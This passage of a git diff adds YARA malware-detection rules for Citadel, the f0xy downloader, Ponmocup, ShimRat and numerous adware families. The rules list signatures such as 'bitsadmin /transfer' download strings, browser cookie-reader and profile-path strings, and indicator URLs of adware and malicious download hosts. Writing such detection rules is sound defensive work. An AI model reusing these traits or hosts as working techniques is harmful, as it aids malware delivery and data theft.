+        yaraexchange = "No distribution without author's consent"
+        reference = "https://blogs.forcepoint.com/security-labs/crimeware-based-targeted-attacks-citadel-case-part-iii"
+        date = "2014-04"
+        filetype = "memory"
+        md5 = "4d175203db0f269f9d86d2677ac859cf"
+        sha1 = "4b422b48be4beaa44557c452f0920aa1ee0b16cb"
+     
+    strings:
+        $hex_string = {85 C0 7? ?? 8A 4C 30 FF 30 0C 30 48 7?}
+        $bkrebs = "Coded by BRIAN KREBS for personal use only. I love my job & wife."
+     
+    condition:
+        $hex_string or $bkrebs
+} 
diff --git a/yara-mikesxrs/forcepoint/f0xy.yar b/yara-mikesxrs/forcepoint/f0xy.yar
new file mode 100644
index 0000000..ec5c8c8
--- /dev/null
+++ b/yara-mikesxrs/forcepoint/f0xy.yar
@@ -0,0 +1,15 @@
+rule ws_f0xy_downloader {
+  meta:
+    description = "f0xy malware downloader"
+    author = "Nick Griffin (Websense)"
+    reference = "https://blogs.forcepoint.com/security-labs/new-f0xy-malware-intelligent-employs-cunning-stealth-trickery"
+
+  strings:
+    $mz="MZ"
+    $string1="bitsadmin /transfer"
+    $string2="del rm.bat"
+    $string3="av_list="
+  
+  condition:
+    ($mz at 0) and (all of ($string*))
+}
diff --git a/yara-mikesxrs/fox-it/rule Ponmocup_plugins.yar b/yara-mikesxrs/fox-it/rule Ponmocup_plugins.yar
new file mode 100644
index 0000000..7d88bad
--- /dev/null
+++ b/yara-mikesxrs/fox-it/rule Ponmocup_plugins.yar	
@@ -0,0 +1,52 @@
+rule Ponmocup : plugins
+{
+              meta:
+                            description = "Ponmocup plugin detection (memory)"
+                            author = "Danny Heppener, Fox-IT"
+              strings:
+                            $1100 = {4D 5A 90 [29] 4C 04}
+                            $1201 = {4D 5A 90 [29] B1 04}
+                            $1300 = {4D 5A 90 [29] 14 05}
+                            $1350 = {4D 5A 90 [29] 46 05}
+                            $1400 = {4D 5A 90 [29] 78 05}
+                            $1402 = {4D 5A 90 [29] 7A 05}
+                            $1403 = {4D 5A 90 [29] 7B 05}
+                            $1404 = {4D 5A 90 [29] 7C 05}
+                            $1405 = {4D 5A 90 [29] 7D 05}
+                            $1406 = {4D 5A 90 [29] 7E 05}
+                            $1500 = {4D 5A 90 [29] DC 05}
+                            $1501 = {4D 5A 90 [29] DD 05}
+                            $1502 = {4D 5A 90 [29] DE 05}
+                            $1505 = {4D 5A 90 [29] E1 05}
+                            $1506 = {4D 5A 90 [29] E2 05}
+                            $1507 = {4D 5A 90 [29] E3 05}
+                            $1508 = {4D 5A 90 [29] E4 05}
+                            $1509 = {4D 5A 90 [29] E5 05}
+                            $1510 = {4D 5A 90 [29] E6 05}
+                            $1511 = {4D 5A 90 [29] E7 05}
+                            $1512 = {4D 5A 90 [29] E8 05}
+                            $1600 = {4D 5A 90 [29] 40 06}
+                            $1601 = {4D 5A 90 [29] 41 06}
+                            $1700 = {4D 5A 90 [29] A4 06}
+                            $1800 = {4D 5A 90 [29] 08 07}
+                            $1801 = {4D 5A 90 [29] 09 07}
+                            $1802 = {4D 5A 90 [29] 0A 07}
+                            $1803 = {4D 5A 90 [29] 0B 07}
+                            $2001 = {4D 5A 90 [29] D1 07}
+                            $2002 = {4D 5A 90 [29] D2 07}
+                            $2003 = {4D 5A 90 [29] D3 07}
+                            $2004 = {4D 5A 90 [29] D4 07}
+                            $2500 = {4D 5A 90 [29] C4 09}
+                            $2501 = {4D 5A 90 [29] C5 09}
+                            $2550 = {4D 5A 90 [29] F6 09}
+                            $2600 = {4D 5A 90 [29] 28 0A}
+                            $2610 = {4D 5A 90 [29] 32 0A}
+                            $2700 = {4D 5A 90 [29] 8C 0A}
+                            $2701 = {4D 5A 90 [29] 8D 0A}
+                            $2750 = {4D 5A 90 [29] BE 0A}
+                            $2760 = {4D 5A 90 [29] C8 0A}
+                            $2810 = {4D 5A 90 [29] FA 0A}
+
+              condition:
+                            any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/fox-it/shimrat.yar b/yara-mikesxrs/fox-it/shimrat.yar
new file mode 100644
index 0000000..43a8f3d
--- /dev/null
+++ b/yara-mikesxrs/fox-it/shimrat.yar
@@ -0,0 +1,26 @@
+rule shimrat
+{
+ meta:
+  description = "Detects ShimRat and the ShimRat loader"
+  author = "Yonathan Klijnsma (yonathan.klijnsma@fox-it.com)"
+  date = "20/11/2015"
+  
+ strings:
+  $dll = ".dll"
+  $dat = ".dat"
+  $headersig = "QWERTYUIOPLKJHG"
+  $datasig = "MNBVCXZLKJHGFDS"
+  $datamarker1 = "Data$$00"
+  $datamarker2 = "Data$$01%c%sData"
+  $cmdlineformat = "ping localhost -n 9 /c %s > nul"
+  $demoproject_keyword1 = "Demo"
+  $demoproject_keyword2 = "Win32App"
+  $comspec = "COMSPEC"
+  $shim_func1 = "ShimMain"
+  $shim_func2 = "NotifyShims"
+  $shim_func3 = "GetHookAPIs"
+
+
+ condition:
+  ($dll and $dat and $headersig and $datasig) or ($datamarker1 and $datamarker2) or ($cmdlineformat and $demoproject_keyword1 and $demoproject_keyword2 and $comspec) or ($dll and $dat and $shim_func1 and $shim_func2 and $shim_func3)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/fox-it/shimratreporter.yar b/yara-mikesxrs/fox-it/shimratreporter.yar
new file mode 100644
index 0000000..b3229db
--- /dev/null
+++ b/yara-mikesxrs/fox-it/shimratreporter.yar
@@ -0,0 +1,25 @@
+rule shimratreporter
+{
+ meta:
+  description = "Detects ShimRatReporter"
+  author = "Yonathan Klijnsma (yonathan.klijnsma@fox-it.com)"
+  date = "20/11/2015"
+
+ strings:
+  $IpInfo = "IP-INFO"
+  $NetworkInfo = "Network-INFO"
+  $OsInfo = "OS-INFO"
+  $ProcessInfo = "Process-INFO"
+  $BrowserInfo = "Browser-INFO"
+  $QueryUserInfo = "QueryUser-INFO"
+  $UsersInfo = "Users-INFO"
+  $SoftwareInfo = "Software-INFO"
+  $AddressFormat = "%02X-%02X-%02X-%02X-%02X-%02X"
+  $proxy_str = "(from environment) = %s"
+
+  $netuserfun = "NetUserEnum"
+  $networkparams = "GetNetworkParams"
+
+ condition:
+  all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.AdGazelle.yar b/yara-mikesxrs/g00dv1n/Adware.AdGazelle.yar
new file mode 100644
index 0000000..c461f2f
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.AdGazelle.yar
@@ -0,0 +1,20 @@
+rule AdwareAdGazelleSample
+{
+	meta:
+		Description  = "Adware.AdGazelle.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "D:\\popajar3" ascii wide
+		$ = "squeakychocolate" ascii wide
+		$ = "squeaky chocolate" ascii wide
+		$ = "adxloader.dll" ascii wide
+		$ = "adxloader.pdb" ascii wide
+		$ = "adxloader64.dll" ascii wide
+		$ = "adxloader64.pdb" ascii wide
+		$ = "d:\\Products\\ADX.IE.8" ascii wide
+
+	condition:
+		any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.Adpeak.yar b/yara-mikesxrs/g00dv1n/Adware.Adpeak.yar
new file mode 100644
index 0000000..51c2b37
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.Adpeak.yar
@@ -0,0 +1,14 @@
+rule AdwareAdpeakSample
+{
+	meta:
+		Description  = "Adware.Adpeak.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "dealcabby.dll" ascii wide
+		$ = "getsavin.dll" ascii wide
+
+	condition:
+		any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.Agent.yar b/yara-mikesxrs/g00dv1n/Adware.Agent.yar
new file mode 100644
index 0000000..47bc410
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.Agent.yar
@@ -0,0 +1,24 @@
+rule AdwarePricePeepSample
+{
+	meta:
+		Description  = "Adware.PricePeep.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "BrandedUpdater" ascii wide
+		$ = "default_browser" ascii wide
+		$ = "LaunchDefaultBrowser" ascii wide
+		$ = "LaunchBrowser" ascii wide
+
+		$a1 = "InstallUtil.pdb" ascii wide
+		$a2 = "C:\\managed\\root\\VTG_" ascii wide
+		$a3 = "InstallUtil.pdb" ascii wide
+		$a4 = "BrandedUpdater.pdb" ascii wide
+		//$a5 = "PricePeep" ascii wide
+		$a6 = "InstallUtil.cpp" ascii wide
+		$a7 = "BrandedUpdater.cpp" ascii wide
+
+	condition:
+		(3 of them) or (any of ($a*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.BetterSurf.yar b/yara-mikesxrs/g00dv1n/Adware.BetterSurf.yar
new file mode 100644
index 0000000..378023e
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.BetterSurf.yar
@@ -0,0 +1,16 @@
+rule BetterSurfASample
+{
+    meta:
+        Description = "Adware.BetterSurf.A.vb"
+        ThreatLevel = "5"
+
+    strings:
+        $n1 = "Media Buzz" ascii wide
+        $n2 = "MediaBuzz" ascii wide
+
+        //$script1 = "document.getElementById('wsu_js" ascii wide
+        //$script2 = "script.setAttribute('id','wsu_js" ascii wide
+
+    condition:
+       all of ($n*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.BrowseFox.yar b/yara-mikesxrs/g00dv1n/Adware.BrowseFox.yar
new file mode 100644
index 0000000..480e19d
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.BrowseFox.yar
@@ -0,0 +1,31 @@
+rule AdwareBrowseFoxSample
+{
+	meta:
+		Description  = "Adware.BrowseFox.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$a2 = ".expextdll.dll" ascii wide
+		$a3 = ".IEUpdate.pdb" ascii wide
+		$a4 = ".Repmon.dll" ascii wide
+		$a5 = ".BRT.Helper.exe" ascii wide
+		$a6 = ".BrowserAdapter.pdb" ascii wide
+		$a7 = ".expextdll.dll" ascii wide
+		$a8 = ".browseradapter64.exe" ascii wide
+		$a9 = ".purbrowse.exe" ascii wide
+		$a10 = "BrowserFilter.exe" ascii wide
+		$a11 = ".Bromon.dll" ascii wide
+		$a12 = ".OfSvc.dll" ascii wide
+		$a13 = ".GCUpdate.dll" ascii wide
+		$a14 = ".BroStats.dll" ascii wide
+		$a15 = ".BOAS.dll" ascii wide
+		$a16 = ".BrowserAdapterS.dll" ascii wide
+		$a17 = ".PurBrowse64.exe" ascii wide
+
+		$b1 = "system32\\drivers\\%s.sys" ascii wide
+		$b2 = "FilterApp" ascii wide
+
+	condition:
+		(any of ($a*)) or (all of ($b*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.Conduit.yar b/yara-mikesxrs/g00dv1n/Adware.Conduit.yar
new file mode 100644
index 0000000..00a72c9
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.Conduit.yar
@@ -0,0 +1,37 @@
+rule ConduitASample
+{
+    meta:
+        Description = "Adware.Conduit.A.vb"
+        ThreatLevel = "5"
+
+    strings:
+		$ = "GetSpeedBrowserInstalled" ascii wide
+		$ = "SpeedBrowserAlreadyInstalled" ascii wide
+		$ = "Injekt SVN - client" ascii wide
+
+    condition:
+        any of them
+}
+
+rule ConduitBSample
+{
+    meta:
+        Description = "Adware.Conduit.B.vb"
+        ThreatLevel = "5"
+
+    strings:
+		$ = "CAboutTabsInjector_" ascii wide
+        $ = "AboutTabsDataUrlPublisher" ascii wide
+        $ = "AboutTabsDataUrlConduit" ascii wide
+        $ = "AboutTabsUsageUrl" ascii wide
+        $ = "AboutTabsEnabledByUser" ascii wide
+        $ = "AboutTabsEnabledByConduit" ascii wide
+        $ = "AboutTabsEnabledByPublisher" ascii wide
+        $ = "SearchInNewTabContent.xml" ascii wide
+        $ = "CONDUIT_CHEVRON_MUTEX" ascii wide
+        $ = "CConduitExternalForTBAPI" ascii wide
+        $ = "EI_Toolbar_Update_Mutex" ascii wide
+
+    condition:
+        any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.ConvertAd.yar b/yara-mikesxrs/g00dv1n/Adware.ConvertAd.yar
new file mode 100644
index 0000000..9472477
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.ConvertAd.yar
@@ -0,0 +1,15 @@
+rule AdwareConvertAdSample
+{
+	meta:
+		Description  = "Adware.ConvertAd.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "http://download-servers.com/SysInfo/adrouteservice/adrouter.php" ascii wide
+		$ = "ConvertAd.html" ascii wide
+		$ = "ConvertAd.exe" ascii wide
+
+	condition:
+		any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.Crossrider.yar b/yara-mikesxrs/g00dv1n/Adware.Crossrider.yar
new file mode 100644
index 0000000..97c7c33
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.Crossrider.yar
@@ -0,0 +1,54 @@
+rule AdwareCrossriderSampleA
+{
+	meta:
+		Description  = "Adware.Crossrider.A.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "-bho.dll" ascii wide
+		$ = "-bho64.dll" ascii wide
+		$ = "-buttonutil64.dll" ascii wide
+		$ = "-buttonutil.dll" ascii wide
+		$ = "-BrowserEventSandBox" ascii wide
+		$ = "CrossriderApp" ascii wide
+		$ = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe" ascii wide
+		$ = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\firefox.exe" ascii wide
+		$ = "IEInject_Win32.dll" ascii wide
+		$ = "bg_debug.js" ascii wide
+		$ = "new_debug.js" ascii wide
+		$ = "Browser Process id" ascii wide
+		$ = "BHO Process id" ascii wide
+		$ = "BhoRunningVersion" ascii wide
+		$ = "-nova64.dll" ascii wide
+
+		$str1 = "crossrider-buttonutil.pdb" ascii wide
+		$str2 = "AVCCrossriderButtonHelper" ascii wide
+		$str3 = "AVCCrossRiderLogger" ascii wide
+		$str5 = "AddCrossRiderSearchProvider" ascii wide
+		$str6 = "C:\\BUILD_AVZR2\\WhiteRabbit" ascii wide
+		$str7 = "CrossriderBHO" ascii wide
+		$str8 = "215AppVerifier" ascii wide
+		$str9 = "Crossrider BHO Version" ascii wide
+		$str10 = "brightcircleinvestments.com" ascii wide
+		$str11 = "CrossriderNotification.pdb" ascii wide
+		$str12 = "C:\\Users\\cross\\Desktop\\compilation_bot_area" ascii wide
+	condition:
+		(3 of them) or (any of ($str*))
+}
+
+rule AdwareCrossriderSampleB
+{
+	meta:
+		Description  = "Adware.Crossrider.B.vb"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "crossbrowse/updater/{{camp_id}}/{{version}}/{{secret}}/update.json" ascii wide
+		$ = "Crossbrowse\\Crossbrowse\\Application\\crossbrowse.exe" ascii wide
+		$ = "allnetserveline.com/crossbrowse" ascii wide
+		$ = "C:\\workspace\\crossbrowse" ascii wide
+		$ = "CrossriderBrowserInstaller.pdb" ascii wide
+
+	condition:
+		any of them
+}
diff --git a/yara-mikesxrs/g00dv1n/Adware.DealPly.yar b/yara-mikesxrs/g00dv1n/Adware.DealPly.yar
new file mode 100644
index 0000000..d4d922e
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.DealPly.yar
@@ -0,0 +1,13 @@
+rule AdwareDealPlySample
+{
+	meta:
+		Description  = "Adware.DealPly.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "dealply.prq" ascii wide
+
+	condition:
+		any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.Dlhelper.yar b/yara-mikesxrs/g00dv1n/Adware.Dlhelper.yar
new file mode 100644
index 0000000..5ec1378
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.Dlhelper.yar
@@ -0,0 +1,27 @@
+rule AdwareDlhelperAdSample
+{
+	meta:
+		Description  = "Adware.Dlhelper.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "trifonov@onegbsoft.ru" ascii wide
+		$ = "bulovackiy@dontehnoservis.com.ua" ascii wide
+		$ = "contacts@dayzgames.com" ascii wide
+		$ = "admin@mayris.org" ascii wide
+
+		$ = "Panel_OffersList" ascii wide
+
+		$ = "support@dlhelper.com" ascii wide
+		$ = "http://dlhelper.com" ascii wide
+
+		$ = "http://sendme9.ru" ascii wide
+		$ = "http://sendme3.ru" ascii wide
+		$ = "http://trustfile3.ru" ascii wide
+		$ = "http://trustfile9.ru" ascii wide
+		$ = "http://downloaditeasy.ru" ascii wide
+
+	condition:
+		any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.Downloader.yar b/yara-mikesxrs/g00dv1n/Adware.Downloader.yar
new file mode 100644
index 0000000..2632d4b
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.Downloader.yar
@@ -0,0 +1,18 @@
+rule AdwareDownloaderA
+{
+	meta:
+		Description  = "Adware.Downloader.A.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "odiassi" ascii wide
+		$ = "stavers" ascii wide
+		$ = "trollimog" ascii wide
+		$ = "diapause" ascii wide
+		$ = "UserControl1" ascii wide
+		$ = "listboxmod01" ascii wide
+
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.ELEX.yar b/yara-mikesxrs/g00dv1n/Adware.ELEX.yar
new file mode 100644
index 0000000..1440f14
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.ELEX.yar
@@ -0,0 +1,65 @@
+rule AdwareELEXSampleA
+{
+	meta:
+		Description  = "Adware.ELEX.A.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "www.freeappstools.com" ascii wide
+		$ = "dl.elex.soft365.com" ascii wide
+		$ = "E:\\Code\\FileSyn\\Bin" ascii wide
+		$ = "E:\\Code_SVN\\FileSyn\\Bin" ascii wide
+
+	condition:
+		any of them
+}
+
+
+rule AdwareELEXSampleB
+{
+	meta:
+		Description  = "Adware.ELEX.B.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$pdb = "Release\\SFKEX.pdb" ascii wide
+		$ = "21e223b3f0c97db3c281da1g7zccaefozzjcktmlma" ascii wide
+		$ = "http://xa.xingcloud.com/v4/sof-everything" ascii wide
+		$ = "http://www.mysearch123.com" ascii wide
+		$ = "SFKEX.exe" ascii wide
+		$ = "SFKEX.dll" ascii wide
+		$ = "SFKURL" ascii wide
+
+	condition:
+		2 of them
+}
+
+
+rule AdwareELEXSampleCommon
+{
+	meta:
+		Description  = "Adware.ELEX.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "\\Mozilla\\Firefox\\" ascii wide
+		$ = "profiles.ini" ascii wide
+		$ = "Profile0" ascii wide
+		$ = "\\prefs.js" ascii wide
+		$ = "\\Google\\Chrome\\User Data\\" ascii wide
+		$ = "\\Secure Preferences" ascii wide
+		$ = "Software\\Microsoft\\Internet Explorer\\Main" ascii wide
+		$ = "Start Page" ascii wide
+		$ = "chrome.exe" ascii wide
+		$ = "iexplore.exe" ascii wide
+		$ = "firefox.exe" ascii wide
+		$ = "user_pref" ascii wide
+		$ = "browser.startup.homepage" ascii wide
+		$ = "startup_urls" ascii wide
+
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.Gen.yar b/yara-mikesxrs/g00dv1n/Adware.Gen.yar
new file mode 100644
index 0000000..abcccbe
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.Gen.yar
@@ -0,0 +1,16 @@
+rule AdwareStormWatchSample
+{
+	meta:
+		Description  = "Adware.StormWatch.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "localstormwatch.com" ascii wide
+		$ = "StormWatch.pdb" ascii wide
+		$ = "StormWatch.exe" ascii wide
+		$ = "ActiveDeals" ascii wide
+
+	condition:
+		any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.Genieo.yar b/yara-mikesxrs/g00dv1n/Adware.Genieo.yar
new file mode 100644
index 0000000..0984173
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.Genieo.yar
@@ -0,0 +1,27 @@
+rule AdwareGenieoSample
+{
+    meta:
+        Description = "Adware.Genieo.vb"
+        ThreatLevel = "5"
+
+    strings:
+		$h1 = "gentray.pdb" ascii wide
+		$h2 = "genupdater.pdb" ascii wide
+		$h3 = "www.genieo.com" ascii wide
+        $h4 = "userfeedback-genieo.appspot.com" ascii wide
+        $h5 = "Genieo Innovation LTD" ascii wide
+
+        $str1 = "Software\\Genieo" ascii wide
+        $str2 = "SOFTWARE\\Genieo" ascii wide
+
+        $str5 = "genieo.exe" ascii wide
+        $str6 = "genieutils.exe" ascii wide
+        $str7 = "genupdater.exe" ascii wide
+
+        $str8 = "__Genieo_" ascii wide
+        $str9 = "GenieoUpdaterServiceCleaner" ascii wide
+        $str10 = "GENIEO_TRAY_UI" ascii wide
+
+    condition:
+        any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.Imali.yar b/yara-mikesxrs/g00dv1n/Adware.Imali.yar
new file mode 100644
index 0000000..bc95b8c
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.Imali.yar
@@ -0,0 +1,13 @@
+rule AdwareImaliSample
+{
+	meta:
+		Description  = "Adware.Imali.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "www.freemediaplayer.tv" ascii wide
+
+	condition:
+		any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.InstallCore.yar b/yara-mikesxrs/g00dv1n/Adware.InstallCore.yar
new file mode 100644
index 0000000..0175117
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.InstallCore.yar
@@ -0,0 +1,18 @@
+rule AdwareInstallCoreSample
+{
+	meta:
+		Description  = "Adware.InstallCore.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "www.mynicepicks.com" ascii wide
+		$ = "www.ultimatepdfconverter.com" ascii wide
+		$ = "www.coolpdfcreator.com" ascii wide
+		$ = "cdnus.ironcdn.com" ascii wide
+		$ = "esd.baixaki.com.br" ascii wide
+		$ = "cdneu2.programmersupply.com" ascii wide
+
+	condition:
+		any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.Linkury.yar b/yara-mikesxrs/g00dv1n/Adware.Linkury.yar
new file mode 100644
index 0000000..7552f51
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.Linkury.yar
@@ -0,0 +1,41 @@
+rule LinkuryASample
+{
+    meta:
+        Description = "Adware.Linkury.A.vb"
+        ThreatLevel = "5"
+
+    strings:
+        $ = "Smartbar" ascii wide
+        $ = "Linkury" ascii wide
+        $ = "ChromeUtils" ascii wide
+        $ = "FirefoxUtils" ascii wide
+        $ = "AddBundledSoftware" ascii wide
+        $ = "UpdateToolbarState" ascii wide
+        $ = "New Tab Search" ascii wide
+        $ = "get_BrowserIsOpen" ascii wide
+        $ = "get_BetterSearchResults" ascii wide
+        $ = "get_AllYourBrowsers" ascii wide
+        $ = "get_ChangeHomepageAndSearch" ascii wide
+        $ = "get_BrowserSettingsProtectOk" ascii wide
+        $ = "get_BrowserSettingsChange" ascii wide
+        $ = "get_BrowserSettingsProtectChange" ascii wide
+        $ = "get_BrowserSettingsProtectDescription" ascii wide
+        $ = "get_BrowserSettingsProtectHeader" ascii wide
+        $ = "get_BrowserSettingsProtectKeep" ascii wide
+
+    condition:
+        2 of them
+}
+
+rule LinkuryBSample
+{
+    meta:
+        Description = "Adware.Linkury.B.vb"
+        ThreatLevel = "5"
+
+    strings:
+        $ = "C:\\Cranberry\\bin\\CaraDelevigne\\Cara.pdb" ascii wide
+
+    condition:
+        any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.MyWebSearch.yar b/yara-mikesxrs/g00dv1n/Adware.MyWebSearch.yar
new file mode 100644
index 0000000..270ef00
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.MyWebSearch.yar
@@ -0,0 +1,17 @@
+rule MyWebSearchSample
+{
+    meta:
+        Description = "Adware.MyWebSearch.vb"
+        ThreatLevel = "5"
+
+    strings:
+		$ = "t8Setup1.pdb" ascii wide
+		$ = "t8EIPlug.pdb" ascii wide
+		$ = "t8EzSetp.pdb" ascii wide
+		$ = "NPt8EISB.pdb" ascii wide
+        $ = "Mindspark Interactive Network" ascii wide
+        $ = "mindspark.com" ascii wide
+
+    condition:
+        any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.NextLive.yar b/yara-mikesxrs/g00dv1n/Adware.NextLive.yar
new file mode 100644
index 0000000..674edba
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.NextLive.yar
@@ -0,0 +1,15 @@
+rule NextLiveSample
+{
+    meta:
+        Description = "Adware.NextLive.vb"
+        ThreatLevel = "5"
+
+    strings:
+
+		$ = "nengine.pdb" ascii wide
+		$ = "nengine.dll" ascii wide
+		$ = "D:\\svn.thecodeway.com\\private\\nlive\\trunk" ascii wide
+
+    condition:
+        any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.ObronaAds.yar b/yara-mikesxrs/g00dv1n/Adware.ObronaAds.yar
new file mode 100644
index 0000000..19706c2
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.ObronaAds.yar
@@ -0,0 +1,35 @@
+rule ObronaAdsSample
+{
+    meta:
+        Description = "Adware.ObronaAds.vb"
+        ThreatLevel = "5"
+
+    strings:
+        $i1 = "ObronaBlockAds" ascii wide
+        $i2 = "Obrona Block Ads" ascii wide
+        $i3 = "ObronaVPN" ascii wide
+        $i4 = "OBRONA_PROXY" ascii wide
+        $i5 = "SecurityAndShoppingAdvisor" ascii wide
+        $i6 = "SASAService" ascii wide
+        $i7 = "http://update.obrona.org" ascii wide
+        $i8 = "Proxy-agent: SASA Proxy" ascii wide
+        $i9 = "Proxy\\AdsInjectionContentProvider.cpp" ascii wide
+
+        $ = "sendBrowsersHistoryKeywords" ascii wide
+        $ = "startWatcher" ascii wide
+        $ = "HelperApplication" ascii wide
+        $ = "enableAds" ascii wide
+        $ = "enableInjecting" ascii wide
+        $ = "disableInjecting" ascii wide
+        $ = "requestNewAdsUrl" ascii wide
+        $ = "requestAdsIgnoredDomains" ascii wide
+        $ = "startSendingSearchKeywords" ascii wide
+        $ = "AdsService" ascii wide
+        $ = "ServiceProxy.cpp" ascii wide
+        $ = "HelperApplication.cpp" ascii wide
+        $ = "Updater.cpp" ascii
+        $ = "WebProxy.cpp" ascii wide
+
+    condition:
+        (any of ($i*)) or (3 of them)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.OpenCandy.yar b/yara-mikesxrs/g00dv1n/Adware.OpenCandy.yar
new file mode 100644
index 0000000..a1808b1
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.OpenCandy.yar
@@ -0,0 +1,13 @@
+rule AdwareOpenCandySample
+{
+	meta:
+		Description  = "Adware.OpenCandy.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "http://cdn.opencandy.com" ascii wide
+
+	condition:
+		any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.OutBrowse.yar b/yara-mikesxrs/g00dv1n/Adware.OutBrowse.yar
new file mode 100644
index 0000000..0df695b
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.OutBrowse.yar
@@ -0,0 +1,17 @@
+rule AdwareOutBrowseSample
+{
+	meta:
+		Description  = "Adware.OutBrowse.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "cdn.install.playbryte.com" ascii wide
+		$ = "download.2yourface.com" ascii wide
+		$ = "www.default-page.com" ascii wide
+		$ = "install2.optimum-installer.com" ascii wide
+		$ = "downloadzone.org" ascii wide
+
+	condition:
+		any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Adware.PullUpdate.yar b/yara-mikesxrs/g00dv1n/Adware.PullUpdate.yar
new file mode 100644
index 0000000..e2ef09f
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Adware.PullUpdate.yar
@@ -0,0 +1,73 @@
+rule AdwarePullUpdateSample
+{
+    meta:
+        Description = "Adware.PullUpdate.vb"
+        ThreatLevel = "5"
+
+    strings:
+        $ = "gettvwizard.com" ascii wide
+        $ = "getsharethis.com" ascii wide
+        $ = "thewebguard.com" ascii wide
+        $ = "astro-arcade.com" ascii wide
+        $ = "instashareonline.com" ascii wide
+        $ = "safewebonline.com" ascii wide
+        $ = "downloadmeteoroids.com" ascii wide
+        $ = "moviemasterapp.com" ascii wide
+        $ = "watchzombieinvasion.com" ascii wide
+        $ = "freevideoconverterapp.com" ascii wide
+
+       // $ = "TVWizard" ascii wide
+        //$ = "TV Wizard" ascii wide
+        $ = "AstroArcade" ascii wide
+        $ = "WebGuard Deleter" ascii wide
+        $ = "SmallIslandDevelopment" ascii wide
+
+        $ = "AVFirefoxCookieReader" ascii wide
+        $ = "AVChromeCookieReader" ascii wide
+        $ = "AVInternetExplorerCookieReader" ascii wide
+        $ = "AVBrowserCookieReader" ascii wide
+        $ = "Data Protection Solutions" ascii wide
+
+
+        $ = "VideoDimmer.exe" ascii wide
+        $ = "VideoDimmerService.exe" ascii wide
+
+        $ = "WebGuard.exe" ascii wide
+        $ = "WebGuardService.exe" ascii wide
+
+        $ = "HealthAlert.exe" ascii wide
+        $ = "HealthAlertService.exe" ascii wide
+
